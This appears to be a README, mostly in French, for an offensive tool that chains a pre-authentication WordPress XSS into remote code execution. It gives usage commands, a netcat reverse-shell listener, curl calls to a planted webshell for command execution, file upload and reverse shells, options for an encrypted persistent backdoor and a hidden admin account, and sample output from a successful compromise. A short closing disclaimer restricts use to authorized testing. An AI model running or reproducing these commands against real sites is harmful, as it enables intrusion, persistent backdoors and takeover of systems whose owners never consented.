
Exploite une XSS pré-authentification de WordPress (CVE-2026-64638) pour parvenir à une exécution de code à distance, en installant une webshell backdoor chiffrée en AES avec persistance, téléversement de fichiers, shell inversé et options de furtivité pour des engagements de red team autorisés.
Chaîne d'exploitation XSS Pré-Auth WordPress → RCE
Développé par G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Mode Auto (recommandé)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
Mode XSS (sans identifiants)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Mode Direct (avec identifiants)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
Après installation du webshell :
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Option | Description | Défaut |
|---|---|---|
target | URL WordPress cible | Requis |
-u, --username | Nom d'utilisateur admin WordPress | - |
-p, --wp-pass | Mot de passe admin WordPress | - |
--lhost | Adresse IP du listener | 127.0.0.1 |
--lport | Port du listener | 4444 |
--mode | Mode d'exploitation (auto/xss/direct) | auto |
--slug | Slug du plugin | g0d150ne |
--callback-port | Port du serveur de callback | 9090 |
--backdoor-pass | Mot de passe de la backdoor | G0D150NE |
Après une exploitation réussie :
| Fonctionnalité | Commande |
|---|---|
| Exécuter une commande | ?b2h=BASE64_CMD |
| Téléverser un fichier | -F '[email protected]' |
| Reverse shell | ?rev=1 |
| Commande en clair | ?cmd=id |
| Backdoor chiffrée | ?decrypt=AES_DATA |
Admin caché créé :
sysadmin_{slug}{backdoor-pass} (par défaut : G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Problème | Solution |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | Vérifier le listener : nc -lvnp 4444 |
Login failed | Vérifier les identifiants ou utiliser le mode XSS |
Plugin upload failed | Vérifier les permissions, utiliser un slug différent |
Argument conflict | Utiliser -p pour wp-pass, --backdoor-pass pour la backdoor |
Uniquement à des fins éducatives et de tests autorisés.
À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage.